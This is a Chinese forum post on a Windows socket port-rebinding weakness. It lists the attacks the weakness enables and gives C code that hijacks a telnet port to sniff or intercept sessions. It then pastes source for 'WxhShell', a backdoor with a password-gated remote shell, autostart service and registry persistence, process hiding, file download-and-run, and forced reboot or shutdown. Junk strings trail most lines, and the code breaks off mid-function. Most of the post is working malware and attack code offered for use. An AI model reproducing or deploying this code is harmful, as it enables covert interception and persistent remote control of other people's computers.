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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !jbjrzv9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uww^Sq  
Qi61(lK  
  saddr.sin_family = AF_INET; 5-*]PAC  
a? kQ2<@g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7,zARWB!?  
W#[!8d35$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^bG!k]U!2  
D/WS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MlZ`g,{  
\abl|;fj  
  这意味着什么?意味着可以进行如下的攻击: ?q P }=nJ  
"Tv7*3>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {E/TC%  
$#r(1 Ev  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D6u>[Z[T  
0 *\=Q$Yy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CkU=0mcY  
pA'A<|)K0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Eg*3**gTO  
ShpnFuH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U\ued=H  
kR|y0V {K*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tOw 0(-:iq  
~|rkt`8p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o3=kF  
y`\Mhnj  
  #include kdC OcJB  
  #include cy4'q ?r  
  #include a"}#HvB+  
  #include    16|S 0 )  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m+vEs,W.  
  int main() i1\2lh$  
  { aB^G  
  WORD wVersionRequested; EcIQ20Z_-  
  DWORD ret; ak `)>  
  WSADATA wsaData; M;qL)vf  
  BOOL val; / JB4#i7  
  SOCKADDR_IN saddr; dU6LB+A  
  SOCKADDR_IN scaddr; \aIy68rH,  
  int err; <q\) o_tH  
  SOCKET s; s.'\&B[  
  SOCKET sc; C`wI6!  
  int caddsize; Bq@wS\W>b}  
  HANDLE mt; 5#.\pR{Gd  
  DWORD tid;   RFY!o<   
  wVersionRequested = MAKEWORD( 2, 2 ); I!gj;a?R  
  err = WSAStartup( wVersionRequested, &wsaData ); `aL|qyrq#  
  if ( err != 0 ) { 1 ],, Ar5  
  printf("error!WSAStartup failed!\n"); aa8Qs lm  
  return -1; Z4ioXl  
  } {yMA7W7]  
  saddr.sin_family = AF_INET; o '/C$E4W  
   x9l0UD*+g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yB%)D0  
?VQLY=?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '%C.([  
  saddr.sin_port = htons(23); W'h0Zg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) + <9 eN  
  { {$YD-bqY  
  printf("error!socket failed!\n"); P lH`(n#  
  return -1; :gscW& k  
  } 3DC%I79  
  val = TRUE; V9u\;5oL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,Bw)n,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'QojSq   
  { 8sIA;r%S  
  printf("error!setsockopt failed!\n"); r/hyW6e_  
  return -1; aroVyUs3j  
  } OP`Jc$| 6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8<g#$(a_E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kt,yn A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !{tiTA  
q%k(M[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ct4 [b|  
  { Yz-JI=  
  ret=GetLastError(); 5%?b5(mnD  
  printf("error!bind failed!\n"); |\|)j>[i  
  return -1; '&:1?i)  
  } 1Uemsx%'k  
  listen(s,2); 7X{bB  
  while(1) HXfXb ^~  
  { )HX:U0  
  caddsize = sizeof(scaddr); Mp"'?zf  
  //接受连接请求 .^~l_ LkA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Afy .3T @)  
  if(sc!=INVALID_SOCKET) MziZN^(  
  { T3 9C lH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^@`e  
  if(mt==NULL) /ggkb8<3  
  { + sywgb)  
  printf("Thread Creat Failed!\n"); A ,-V$[;~D  
  break; w^])(  
  } ]oeuIRyQ  
  } 8VuZ,!WH#  
  CloseHandle(mt); 'ZC}9=_g  
  } &{E`=4T2  
  closesocket(s); 8pk#sJ51  
  WSACleanup(); FL`1yD^2  
  return 0; xY2}Wr j,  
  }   i}`_H^  
  DWORD WINAPI ClientThread(LPVOID lpParam) * {gxI<   
  { Wm)-zvNY;  
  SOCKET ss = (SOCKET)lpParam; ) \-96 xd  
  SOCKET sc; n{64g+  
  unsigned char buf[4096]; f2 ydL/M,  
  SOCKADDR_IN saddr; =_8 UZk.  
  long num; #d Z/UM(u  
  DWORD val; E7gHi$  
  DWORD ret; "7kgez#Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qDRNtFa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &[5n0e[  
  saddr.sin_family = AF_INET; /&]-I$G@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +urS5c* j  
  saddr.sin_port = htons(23); g\o{}Q%X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xd^&_P$=  
  { e&$p-0DmT|  
  printf("error!socket failed!\n"); _%wK}eH+sy  
  return -1; 731h ~x!u  
  } cBifZv*l  
  val = 100; <i}q=%W!1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ap]4QqU  
  { D =r-  
  ret = GetLastError(); Nush`?]J"_  
  return -1; +/y{^}b/  
  } e'1 ^+*bU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qyg*n>nt  
  { ;/@?6T"  
  ret = GetLastError(); !2}rtDE  
  return -1; uR#'lb`3  
  } `$S^E !=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cz2,",+~  
  { - <J q  
  printf("error!socket connect failed!\n"); yp=|7  
  closesocket(sc); Dd| "iA  
  closesocket(ss); K`hz t  
  return -1; aZ`<PdA  
  } 3az$:[Und}  
  while(1) F9MR5O"  
  { pT4qPta,2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {Q)dU-\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |*:tyP%m^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )ZH c$+fU  
  num = recv(ss,buf,4096,0); 5U%MoH  
  if(num>0) R6`*4z S  
  send(sc,buf,num,0); QhsMd- v  
  else if(num==0) 6sPk:5  
  break; %X;7--S%?g  
  num = recv(sc,buf,4096,0); 8;TAb.r  
  if(num>0) <B!'3C(P  
  send(ss,buf,num,0); Z<;U:aH?}  
  else if(num==0) e RA7i  
  break; );nz4/V  
  } 4E2yH6l  
  closesocket(ss); 0<g<GQ(E  
  closesocket(sc); #+9rjq:v#]  
  return 0 ; Va7c#P?  
  } R :"+ #Sq  
)!e3.C|V1W  
BDy5J2<<7l  
========================================================== ,yICNtP  
PWvSbn6  
下边附上一个代码,,WXhSHELL :r&iM b:Ra  
.d~\Ysve  
========================================================== Z?17Pu'Dp  
d<x1*a  
#include "stdafx.h" Z`Ax pTl  
-/>9c-F  
#include <stdio.h> OUzR@$  
#include <string.h> o~#f1$|Xn  
#include <windows.h> n#BvW,6J  
#include <winsock2.h> ic E|.[  
#include <winsvc.h> (YwalfG {C  
#include <urlmon.h> oV9z(!X/  
;1 |x  
#pragma comment (lib, "Ws2_32.lib") %x2 uP9  
#pragma comment (lib, "urlmon.lib") ~.Cv DJy  
k#C f})  
#define MAX_USER   100 // 最大客户端连接数 Stxp3\jEn  
#define BUF_SOCK   200 // sock buffer O$qtq(Q%  
#define KEY_BUFF   255 // 输入 buffer sw$2d  
t0Zk-/s  
#define REBOOT     0   // 重启 r<c #nD~K  
#define SHUTDOWN   1   // 关机 dv~pddOs  
o@W_ai_  
#define DEF_PORT   5000 // 监听端口 @TzvT3\q  
*KJB>W%@uM  
#define REG_LEN     16   // 注册表键长度 8[zb{PRu  
#define SVC_LEN     80   // NT服务名长度 bO3GVc+S  
p|3b/plZ  
// 从dll定义API F_=1;,K%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E  T:T7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $.rzc]s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [Atc "X$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u5Up&QE!>q  
PcC/_+2  
// wxhshell配置信息 "R[l ZJ@  
struct WSCFG { ?Ik4  
  int ws_port;         // 监听端口 Qz,|mo+  
  char ws_passstr[REG_LEN]; // 口令 d'"r("w#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1J{fXh  
  char ws_regname[REG_LEN]; // 注册表键名 WOX}Sw"  
  char ws_svcname[REG_LEN]; // 服务名 #HAC*n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9b"MQ[B4#a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %S@L|t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kqg!,Sn|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =\};it{u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lCIDBBjy^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8'#/LA[uPe  
YoKs:e2/:  
}; Xg7|JS!  
< zOi4v0  
// default Wxhshell configuration 65TfFcQ<S  
struct WSCFG wscfg={DEF_PORT, 7 oQ[FdRn*  
    "xuhuanlingzhe", PuL<^aJ  
    1, <a( }kk}  
    "Wxhshell", ,q#0hy%5/  
    "Wxhshell", ZnW@YC#9  
            "WxhShell Service", b2C`g]ibQ  
    "Wrsky Windows CmdShell Service", ,7_4 z]jK  
    "Please Input Your Password: ", o}$1Ay*q`  
  1,  ?K_ '@  
  "http://www.wrsky.com/wxhshell.exe", SaOYu &>  
  "Wxhshell.exe" ;# uZhd  
    }; T/1gI9 X  
@FO) 0  
// 消息定义模块 Cbm\h/PXl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;30nd=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K/=|8+IDL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -7 U| a/  
char *msg_ws_ext="\n\rExit."; 47K1$3P  
char *msg_ws_end="\n\rQuit."; fHRMu:q  
char *msg_ws_boot="\n\rReboot..."; (kv?33  
char *msg_ws_poff="\n\rShutdown..."; r!PpUwod  
char *msg_ws_down="\n\rSave to "; v\tEVhm  
A/7{oB:a  
char *msg_ws_err="\n\rErr!"; QX4ai3v  
char *msg_ws_ok="\n\rOK!"; 1KM`i  
;!!n{l$r'  
char ExeFile[MAX_PATH]; gKYfQ+  
int nUser = 0; kE9esC 3  
HANDLE handles[MAX_USER]; 6 5N~0t  
int OsIsNt; }|u4 W?H  
*!s;"U  
SERVICE_STATUS       serviceStatus; &|3 $!S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mpPdG  
T&4qw(\G  
// 函数声明 N ,8/Y  
int Install(void); - K9c@?  
int Uninstall(void); WmY``  
int DownloadFile(char *sURL, SOCKET wsh); if|+EN%  
int Boot(int flag); 6KpHnSW  
void HideProc(void); V=:'SL*3|  
int GetOsVer(void); V-<GT ?  
int Wxhshell(SOCKET wsl); ]QzGE8jp*  
void TalkWithClient(void *cs); MrZh09y  
int CmdShell(SOCKET sock); QFYWA1<pDh  
int StartFromService(void); O+y-}7YX  
int StartWxhshell(LPSTR lpCmdLine); ~HOy:1QhE=  
28 8XF9B^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .C8PitS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N[<\>Ps|u  
T:5fc2Ngv  
// 数据结构和表定义 U}[I   
SERVICE_TABLE_ENTRY DispatchTable[] = I 'V4D[H5  
{ j#cYS*^H  
{wscfg.ws_svcname, NTServiceMain}, 0q&<bV:D  
{NULL, NULL} .zi_[  
}; ^J$2?!~  
0aG ni|  
// 自我安装 Ney/[3 A  
int Install(void) q@[Qj Gj@  
{ 8_{X1bj  
  char svExeFile[MAX_PATH]; ~`aa5;Ab_  
  HKEY key; 9I&xfvD,  
  strcpy(svExeFile,ExeFile); "wNJ  
r"P|dlV-  
// 如果是win9x系统,修改注册表设为自启动 WA+iYLx@H  
if(!OsIsNt) {  #"@|f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '.:z&gSqx0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7pe\M/kl  
  RegCloseKey(key); < jJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wOU_*uY@6'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C{U?0!^  
  RegCloseKey(key); KrQ1GepJ  
  return 0; =ALTUV3/q  
    } E7rDa1  
  } Gefne[  
} E|iQc8gr&  
else { i<#QW'R(  
'Gj3:-xqL  
// 如果是NT以上系统,安装为系统服务 YtmrRDQs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Vr%n2M  
if (schSCManager!=0) fU/>z]K  
{ KVclhT<F  
  SC_HANDLE schService = CreateService "&Y`+0S8  
  ( +S o4rA*9  
  schSCManager, ItNz}4o|d  
  wscfg.ws_svcname, r>>%2Z-P  
  wscfg.ws_svcdisp, 0XE4<U   
  SERVICE_ALL_ACCESS, ,Lr. 9I.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h9}+l  
  SERVICE_AUTO_START, Kp%2k^U  
  SERVICE_ERROR_NORMAL, KcWN,!G  
  svExeFile, *4\:8  
  NULL, LBYMCY  
  NULL, =$'6(aDH  
  NULL, "@V Y  
  NULL, 'DP1,7  
  NULL _kef 0K6  
  ); M\uiq38  
  if (schService!=0) XP!S$Q]D  
  { Ag-(5:  
  CloseServiceHandle(schService); +}Dw3;W}m  
  CloseServiceHandle(schSCManager); Cio 1E-4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J!dm-L  
  strcat(svExeFile,wscfg.ws_svcname); G#ZH.24Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &* M!lxDN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` Fa~  
  RegCloseKey(key); ha]VWt%}  
  return 0; 6AAz  
    } B-*+r`@Bd  
  } )1?y 8_B  
  CloseServiceHandle(schSCManager); B6MB48#0gs  
} g];!&R-  
} KI"#f$2&  
`KZm0d{H  
return 1; Cjn#00  
} qU \w=  
zVViLUwG  
// 自我卸载 is?{MJZ_  
int Uninstall(void) 4>wP7`/+y  
{ 'TTLo|@"-  
  HKEY key; j*|VctM  
ik)|{%!K]H  
if(!OsIsNt) { ( >LF(ll  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OAgniLv  
  RegDeleteValue(key,wscfg.ws_regname); 0_jf/an,%  
  RegCloseKey(key); Ki;*u_4{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j * %  
  RegDeleteValue(key,wscfg.ws_regname); d-oMQGOklb  
  RegCloseKey(key); \;,_S+Fz8  
  return 0; t*p71U4+I  
  } z0 d.J1VW  
} aS>u,=C  
} KqHyG  
else { f[]dfLS"W  
z}.e]|b^H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  0HZ{Y9]  
if (schSCManager!=0)  CT&|QH{  
{ Pd8![Z3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4j-Xi  
  if (schService!=0) 9=s<Ld  
  { ><4<yj1  
  if(DeleteService(schService)!=0) { ?w$kue  
  CloseServiceHandle(schService); G?yLo 'Ulo  
  CloseServiceHandle(schSCManager); `~cqAs}6]Q  
  return 0; 9[#pIPxNK  
  } {4l8}w  
  CloseServiceHandle(schService); Jx:Y-$  
  } (|2t#'m  
  CloseServiceHandle(schSCManager); sWhZby7  
} oe^I  
} <3n Mx^  
hWjc<9  
return 1; [z:!j$K  
} X;$+,&M"  
?4YGT  
// 从指定url下载文件 [+^1.N  
int DownloadFile(char *sURL, SOCKET wsh) /l3V3B7  
{ `>o{P/HN  
  HRESULT hr; t5Sy V:fP  
char seps[]= "/"; R*, MfV  
char *token; Z{*\S0^ST  
char *file; #<fRE"v:Q  
char myURL[MAX_PATH]; l]5K N  
char myFILE[MAX_PATH]; .xCZ1|+gG  
n9\TO9N  
strcpy(myURL,sURL); 2Ah#<k-gC;  
  token=strtok(myURL,seps); 2DA]i5  
  while(token!=NULL) `bq<$e  
  { hPB9@ hT$  
    file=token; h4gXvPS&r  
  token=strtok(NULL,seps); \doUTr R  
  } M/f<A$xx_  
AYBns]!  
GetCurrentDirectory(MAX_PATH,myFILE); |"}FXa O  
strcat(myFILE, "\\"); `v!urE/gg%  
strcat(myFILE, file); [(i  
  send(wsh,myFILE,strlen(myFILE),0); RNk\.}m  
send(wsh,"...",3,0); Pm6p v;WK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l:~/<`o  
  if(hr==S_OK) K8|r&`X0  
return 0; ,L2ZinU:  
else BKCiIfkZ  
return 1; dl)Y'DI  
P;.W+WN  
} ?FZ HrA  
#lo6c;*m5  
// 系统电源模块 QE+g j8  
int Boot(int flag) &J]K3w1p  
{  \!X8   
  HANDLE hToken; u/0h$l  
  TOKEN_PRIVILEGES tkp; NN{?z!  
! I:%0D  
  if(OsIsNt) { `g?Negt\v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dj?> <@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VT)oLj/A  
    tkp.PrivilegeCount = 1; u@) U"FZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .hb:s,0mP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hh%-(HaLX3  
if(flag==REBOOT) { ub0.J#j@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~vhE|f  
  return 0; H2 {+)  
} Et_bH%0  
else { &BLJT9Frx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  qA7>vi%  
  return 0; &t@jl\ND  
} s c,Hq\$&  
  } +o{R _  
  else { 7nTeP(M%  
if(flag==REBOOT) { NNR`!Pty  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 558V_y:  
  return 0; 1=c\Rr9]  
} i# /Jr=  
else { <al(7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Iy]DU8  
  return 0; wssRA?9<  
} I*{ nP)^9  
} gCS<iBT(7  
y2dCEmhY  
return 1; /SR*W5#s  
} /9*B)m"  
7>0o&  
// win9x进程隐藏模块 ^7cGq+t  
void HideProc(void) CyFrb`%  
{ %@aSe2B  
H5B:;g@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x"=f+Mr  
  if ( hKernel != NULL ) Gr'  CtO  
  { D,*3w'X!K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UgN u`$m+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6r0krbN  
    FreeLibrary(hKernel); ZohCP  
  } )p0^zv{  
FaSf7D`C  
return; 'RR~7h  
} -H@:*  
Wx}8T[A}  
// 获取操作系统版本 LVfF[  
int GetOsVer(void) O2E/jj  
{ ,j{,h_Op  
  OSVERSIONINFO winfo; YeL#jtC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~s*)f.l  
  GetVersionEx(&winfo); Pb4X\9^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ad8n<zt|  
  return 1; jDfC=a])  
  else y/{fX(aV  
  return 0; i2Qz4 $z  
} Y@vTaE^w3  
*boR`[Ond  
// 客户端句柄模块 ay ;S4c/_  
int Wxhshell(SOCKET wsl) w^|*m/h|@u  
{ Y'S%O/$  
  SOCKET wsh; )e+>w=t  
  struct sockaddr_in client; rC%*$g $  
  DWORD myID; '&tG?gb&  
@/.;Xw]  
  while(nUser<MAX_USER)  I<mV+ex  
{ 4y?n [/M/  
  int nSize=sizeof(client); Y-_`23x`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )._;~z!  
  if(wsh==INVALID_SOCKET) return 1; '(f*2eE:  
kR-SE5`Jk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QUc= &5 %  
if(handles[nUser]==0) Lv;^My  
  closesocket(wsh); -`kW&I0  
else ^e_hLX\SW  
  nUser++; JN-y)L/>  
  } |O|V-f{l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3 *"WG O5  
]?kZni8j_  
  return 0; 8B K(4?gC  
} $oID(P  
u<tbbKM  
// 关闭 socket iAEbu&XG  
void CloseIt(SOCKET wsh) p Z|V 3  
{ D rUO-  
closesocket(wsh); !*d I|k  
nUser--; 6$Xzpg(o  
ExitThread(0); ? r "{}%  
} mP~QWx![N  
OUPUixz2Z  
// 客户端请求句柄 "Y =;.:qe  
void TalkWithClient(void *cs) S"bg9o  
{ ]___M  
45@ I*`  
  SOCKET wsh=(SOCKET)cs; <e=#F-DE  
  char pwd[SVC_LEN]; DZ'P@f)]  
  char cmd[KEY_BUFF]; ~?Qe?hB  
char chr[1]; JW83Tp8[8  
int i,j; vAF "n  
1y@i}<9F  
  while (nUser < MAX_USER) { _lJ!R:*  
_/s$ZCd  
if(wscfg.ws_passstr) { )np:lL$$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Olt?~}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K,;E5  
  //ZeroMemory(pwd,KEY_BUFF); [[Ls_ZL!=  
      i=0; ;s= l52  
  while(i<SVC_LEN) { ok"k*?Ov  
j ?3wvw6T  
  // 设置超时 hP%M?MKC  
  fd_set FdRead; njB;&N)I  
  struct timeval TimeOut; E!)xj.aS$  
  FD_ZERO(&FdRead); zlSNfgO  
  FD_SET(wsh,&FdRead); ~OYiq}g  
  TimeOut.tv_sec=8; +< Nn~1  
  TimeOut.tv_usec=0;  twHVv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A7Cm5>Y_S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >UTBO|95y  
Wq D4YGN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d=$Mim  
  pwd=chr[0]; 7dTkp!'X-  
  if(chr[0]==0xd || chr[0]==0xa) { XB;7!8|  
  pwd=0; !3c\NbU  
  break;  L^/5ux  
  } u OmtyX  
  i++; [: n'k  
    } x$A+lj]x  
/Vx7mF:  
  // 如果是非法用户,关闭 socket z>1Pz(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .O5Z8 p  
} ;IvY^(YS@;  
zJKv'>?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [r\Du|R-*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0I-9nuw,^;  
jodIv=C  
while(1) { xk9%F?)  
imhwY#D  
  ZeroMemory(cmd,KEY_BUFF); Di,^%  
M~Tuj1?  
      // 自动支持客户端 telnet标准   )W,aN)1)  
  j=0; <yV"6/l 0  
  while(j<KEY_BUFF) { Ljm[?*H#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ih-#5M@  
  cmd[j]=chr[0]; $8)+XmsCr  
  if(chr[0]==0xa || chr[0]==0xd) { kP=eW_0D  
  cmd[j]=0; h"B+hu  
  break; o"s)eh  
  } "@^k)d$  
  j++; M><yGaaX/  
    } nUaJzPl  
^ox=HNV  
  // 下载文件 >F|>cc>_E  
  if(strstr(cmd,"http://")) { L8@f-Kk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); etQCzYIhn  
  if(DownloadFile(cmd,wsh)) X;+sUj8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dM.f]-g  
  else g\|PcoLm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_:4w$>  
  } 1 &jc/*Z"  
  else { Y sC>i`n9  
tH@Erh|%  
    switch(cmd[0]) { YR\faVk  
  93>jr<A  
  // 帮助 )N{Pw$l_  
  case '?': { 5+4IN5o]=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /obfw^  
    break; fivw~z|[@  
  } *}qWj_RT  
  // 安装 [C 7^r3w  
  case 'i': { k!j5tsiR  
    if(Install()) #FLb*%Nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $?iLLA~  
    else C\3rJy(VJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); caR<Kb:;*  
    break; :1Xz4wkWS*  
    } f1RWP@iar  
  // 卸载 :wyno#8`-  
  case 'r': { IVnHf_PzF  
    if(Uninstall()) ?T8}K>a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|9L5  
    else  #4NaL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =+-UJo5  
    break; 6dr%;Wp  
    } V*;(kEqj  
  // 显示 wxhshell 所在路径 ij`w} V  
  case 'p': { @Ns Qd_e  
    char svExeFile[MAX_PATH]; wo{gG?B  
    strcpy(svExeFile,"\n\r"); Z9ZPr?C=  
      strcat(svExeFile,ExeFile); ?#G$=4;i  
        send(wsh,svExeFile,strlen(svExeFile),0); LKB$,pR~1l  
    break; @l5"nBs<_:  
    }  @tnz]^V  
  // 重启 :uS\3toj  
  case 'b': { 3BUSv#w{i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |$Sedzj'  
    if(Boot(REBOOT)) [#vH'y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h 0Q5-EA  
    else { Xza(k  
    closesocket(wsh); wH&!W~M  
    ExitThread(0); `wEb<H  
    } ,AFu C <  
    break; qS$Ox?Bw#u  
    } + .[ <%  
  // 关机 c ( C%Hld  
  case 'd': { &i6mW8l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %p=M;  
